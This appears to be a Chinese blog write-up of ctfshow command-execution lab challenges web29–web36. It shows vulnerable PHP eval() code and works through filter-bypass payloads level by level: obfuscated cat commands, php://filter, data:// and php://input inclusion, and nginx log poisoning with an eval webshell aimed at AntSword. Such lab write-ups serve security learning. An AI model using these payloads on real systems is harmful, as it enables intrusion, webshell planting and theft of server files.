ctfshow-web入门系列-命令执行-web29-web36

dingdong_duck 2024-10-15 13:33:02 阅读 100

web29-web30直接看题目的平台wp即可

web31

<?php

// 关闭错误报告

error_reporting(0);

// 检查是否通过 GET 参数传递了 'c'

if (isset($_GET['c'])) {

    // 获取 GET 参数 'c' 的值

    $c = $_GET['c'];

    if (!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)) {

        eval($c);

    }

} else {

    highlight_file(__FILE__);

}

?>

复制

环境说明

在不区分大小写的情况下"/i",正则表达式以'//'包裹匹配的字符串,结尾的i表示不区分大小写

过滤情况

php函数

system()shell_exec()bash函数

catsort文件

flagphp符号

.'空格pw

下一步

选择执行系统命令或者选择执行php代码,当然,便于学习,最好两个都要学

ToDo:执行系统命令,找到php的shell入口

shell入口在哪里

我安装一定顺序去列出过滤情况,是不无道理的,希望能给自己思考过滤的时候形成一个网络图,php命令执行首先需要找到合适的php执行shell的函数,

CTF之PHP命令执行 - hithub - 博客园 (cnblogs.com)

这里有最全的系统命令执行函数

选择passthru函数,这里刚刚入门,想起单引号被过滤,心一跳,😢那岂不是我无法在函数里面好好写命令了,但是哈哈哈,双引号没被过滤。

下一步

ToDo:执行系统命令,找到php的shell入口

完成:passthru("");

ToDo:执行什么系统命令

命令的思路在哪里

首先是获取目录的情况,我们需要使用ls命令,但是,点号的过滤使得目录穿梭成为了难题

?c=passthru("ls");

但是这道题直接把flag放在本目录了,点号过滤阻止目录穿梭并没有难到我们

下一步

ToDo:执行系统命令,找到php的shell入口

完成:passthru("");

ToDo:执行什么系统命令完成:ls查看flag位置ToDo:如何读到flag.php

糟糕,bash关键字被过滤了

虽然过滤了php后缀,也过滤了.的文件后缀名,我们可以使用*通配符去完成我们的任务。

通过特殊的拼接或者插入特殊符号去绕过的技巧一定要区分环境

所谓的绕过就是在不触发检查的环境下,最后却能在执行处生效

在这的思路是通过eval-->php-->bash,对应bash的命令,如cat,即使是过滤了,我们可以不急着尝试别的功能相似的函数去找到替代有两个技巧,插入两个单引号或者插入一个反斜杠就可以达到关键字过滤的绕过

如果要尝试其他输出命令的函数

CTF中命令执行常用知识点总结 - FreeBuf网络安全行业门户

空格也被过滤了

绕过过滤的技巧需要注意执行环境

有一次不小心用了>,给flag输入了分号,看上去很怪,也说明他不能当空格,因为>正常使用是重定位输出的

bash

$IFS 最好加上{}避免识别不到是引用$IFS${IFS}<<>注意单个>是不可以的%09(tab)php下

* %09

这里讲解一下tab为何可以使用,首先他不能在正则表达式里面被过滤了,大概是两个空格的字符,%09是url编码的格式,服务器的超全局数组接受了就会解码的,注意他不是因为他传入preg的时候还是%09,传给$_GET[]就已经会自动url解码了,tab当然也能起类似于空格的分割的作用

下一步

ToDo:执行系统命令,找到php的shell入口

完成:passthru("");

ToDo:执行什么系统命令完成:ls查看flag位置ToDo:如何读到flag.php

完成 ca\t<>f*

passthru("ca\t<>f*");

在我自己的ubuntun22

不过在靶机上面会出现一点小插曲,居然创建文件

那么就使用%09去代替空格把

同时还是要注意,ca\t,不要只加一个反斜杠,可能把\t识别成转义符了

c\a\t%09f*能成功,<>这个我在bash里面能够成功使用,但是这道题靶机失效了

web32

<?php

 

 

error_reporting(0);

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){

        eval($c);

    }

 

}else{

    highlight_file(__FILE__);

}

复制

环境说明

过滤情况

php函数

systemshell_execechobash函数

echocatsort符号

.'`;(空格文件

flagphp

下一步

执行系统命令?括号和分号(虽然在bash中,由于%0a是换行符,可以作为bash终结符,但是括号没了,可不行啊)被过滤了,执行系统命令成为难题

所以,这题大概率是要执行php的函数

ToDo:什么php函数没有括号?

文件包含的函数可以仅仅依赖引号

我们可以

// get的键不带引号也可以执行

// 超全局数组本身返回的就是字符串,所以不需要引号包裹

include $GET_[cmd];

复制

然后再新的键里面上传我们需要的指令,减少了限制

下一步

我们确实找到了不依赖括号的函数,他是文件包含,我们要如何利用?

ToDo: 什么php函数没有括号?

完成:文件包含函数,并且结合了新的键,绕过上传限制

ToDo: 怎么包含文件(单纯包含是不输出的,如果是对应php后缀的文件),包含什么文件,不过题目这里环境是默认本目录下的flag.php(当然我也有不依赖自己查找文件位置的方法,就是写入一句话木马)

使用php伪协议

文件包含,如果包含的是对应的代码文件是不会显示的(因为被执行了),所以需要编码的方式去显示,这里使用

php://filter/convert.base64-encode/resource=flag.php

复制

就可以获得文件的编码并且回显

有关php伪协议的文章

php伪协议 - 看不尽的尘埃 - 博客园 (cnblogs.com)

最后

ToDo: 什么php函数没有括号?

完成:文件包含函数,并且结合了新的键,绕过上传限制

ToDo: 怎么包含文件(单纯包含是不输出的,如果是对应php后缀的文件),包含什么文件,不过题目这里环境是默认本目录下的flag.php(当然我也有不依赖自己查找文件位置的方法,就是写入一句话木马)完成:使用php://filter

ToDo:最终的payload,注意过滤的符号

?c=include%09$_GET[cmd]?>&cmd=php://filter/convert.base64-encode/resource=flag.php

?c=include%0a$_GET[cmd]?>&cmd=php://filter/convert.base64-encode/resource=flag.php

?c=include%0a$_GET["cmd"]?>&cmd=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET["cmd"]?>&cmd=php://filter/convert.base64-encode/resource=flag.php

复制

解释一下每个符号的作用

空格

%09 tab,可以起到空格的作用%0a 换行符,注意在bash按下回车就是命令分隔,起不到空格的作用,这里是通过eval进入php代码执行,而php的执行需要以分号才作结,tab键能够起到分隔的作用干脆不要符号,$_GET返回的结果能够被include识别,因为$能够标识变量,言下之意就是php分得清是在include一个变量返回的结果命令结束?>

由于我们是通过$_GET[c]传入eval执行的,也就是

///

eval("include$_GET["cmd"]需要终结");

//

?>

复制

php代码,但是这行代码需要一个php能够识别的结束符,分号已经被过滤了,我们可以使用php代码片段的结束符?>让代码提前闭合,最后一行的php代码是不需要分号的,但是这样会让环境后面的代码被忽略,当然我们不依赖后面的代码去渗透

超全局数组内部可以不用引号

另一种考虑,要是不知道读取文件的位置怎么办

如果能写入一句话木马,我们就可以使用强大的工具,antsword去getshell了!!!

ToDo:如何写入一句话木马

直接在c参数传入一句话木马吗?

括号被过滤了,这是没法用函数的发愁点,不妨学点别的方式去写入一句话木马

仍然利用不使用括号的函数,文件包含代理中间件的日志文件,写入一句话木马

大概解释下原理,服务器处理网络服务一般会使用中间件去代理网络流量,众所周知的就是nginx和apache,他们在系统中有固定的路径日志文件,这个文件会记录访问者的访问的url和时间等信息,这样可以在这个日志文本文件中包含一句话木马,通过文件包含到eval出就可以执行一句话木马,从而让antsword可以连接

http的server头是nginx,那么我们尝试写入nginx的访问日志文件

ToDo:如何写入一句话木马

ToDo:如何在nginx访问日志文件中写入一句话木马

先把文件包含出来看看

一开始nginx的访问日志肯定是不含php代码的,只是文本,因此包含出来的话肯定都是纯文本

?c=include%0a"/var/log/nginx/access.log"?>

本身c参数不能有.

绕过限制,我们直接写一个新的超全局数组

?c=include$_GET[1]?>&1=/var/log/nginx/access.log

复制

当然这么乱要整理一下

IP地址: 172.12.129.208

时间: 25/Sep/2024:07:59:44 +0000

请求类型: GET URL:

/?c=include$_GET[1]%3E&1=/var/log/nginx/access.log

状态码: 200

响应大小: 2624

引用页面: -

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0

复制

这就是其中的一个包含的信息

怎么通过访问就写入了木马了

其中有两处的参数我们是可以控制的

一个是url里面我们可以包含一句话木马

或者我们在http的User-Agent头包含php的一句话木马

<?php @eval($_POST['shell']);?>

复制

不能看见我们的木马,哈哈!

如果选择在url中注入

?c=include$_GET[1]?>&1=/var/log/nginx/access.log&shell=<?php @eval($_POST['shell1']);?>

复制

怎么包含出来的日志文件显示了一句话木马,这说明没有当作php代码执行

细看,原来是特殊的符号都被url编码了,这应该是浏览器自动编码了,我们可以抓包自行修改避免浏览器自动编码

但是这道题的环境url出我尝试过很多种方法注入都不是很成功,所以在user-agent注入好了

最后木马是可以运行的,但是antsword连不上,不搞了,直接执行命令得了

web33

<?php

 

error_reporting(0);

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(

    !preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){

        eval($c);

    }

 

}else{

    highlight_file(__FILE__);

}

复制

环境说明

过滤情况

php函数

systemshell_execechobash函数

echocatsort符号

.'"`;(空格文件

flagphp

解题过程同web32,使用伪协议或者写日志shell即可

web34

解题过程同web32,只是多了一个冒号过滤,$符号才是这些方法的命根哈哈哈

web35

<?php

 

error_reporting(0);

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){

        eval($c);

    }

 

}else{

    highlight_file(__FILE__);

}

复制

环境说明

过滤情况

php函数

systemshell_execechobash函数

echocatsort符号

.'"`;(空格=<文件名

flagphp

下一步

虽然都是老样子可以直接老方法日志文件写入,但是我们想尽可能尝试所有的伪协议的方法

ToDo:使用data://text//plain,<?php 代码部分?>

原理,借助文件包含函数,data伪协议可以写入php代码,并且执行,执行的原因是文件包含,不是eval注意

data伪协议使用方法

下一步

ToDo:使用data://text//plain,<?php 代码部分?>

完成

?c=include$_GET[cmd]?>&cmd=data://text//plain,<?php system('cat flag.php')?>

复制

web36

 <?php

error_reporting(0);

if(isset($_GET['c'])){

    $c = $_GET['c'];

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){

        eval($c);

    }

 

}else{

    highlight_file(__FILE__);

}

复制

环境说明

过滤情况

php函数

systemshell_execechobash函数

echocatsort符号

.'"`;(空格:<=/所有数字字符文件

flagphp

这次来用php://input伪协议来实现

原理同样是因为include(php://input)的php代码被执行

php://input

post处上传php代码

复制

下一步

// 注意这里的键不要用数字,禁用了数字,c的payload不能带数字

?c=include$_GET[a]?>&a=php://input

post

b=<?php @eval($_POST["shell"]);?>

复制

值得注意的事项

发送的时候post体只能有php代码

hackerbar发送不成功,无法反应,因为没有post键,所以自行使用burp发包,注意php代码需要隔开一行

不成功

成功

如果想利用php://input写入一句话木马,连接蚁剑,post的代码部分首先需要自己手工发包一次,并且利用写入文件去在服务器位置写入文件木马,再连接蚁剑的时候进行包含木马文件再连接

不成功

没有写入木马,在不含post键的情况下直接上传一句话木马代码,返回数据为空

预计成功,但是题目环境我没有成功写入文件

参考Web漏洞-文件包含漏洞超详细全解(附实例)【web漏洞百例】文件包含漏洞的案例-CSDN博客

最后的结果

我们认为还是使用php://input协议在burp里面抓包去执行php代码就行了,连接蚁剑还是会遇到以文件形式去写入木马的问题



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。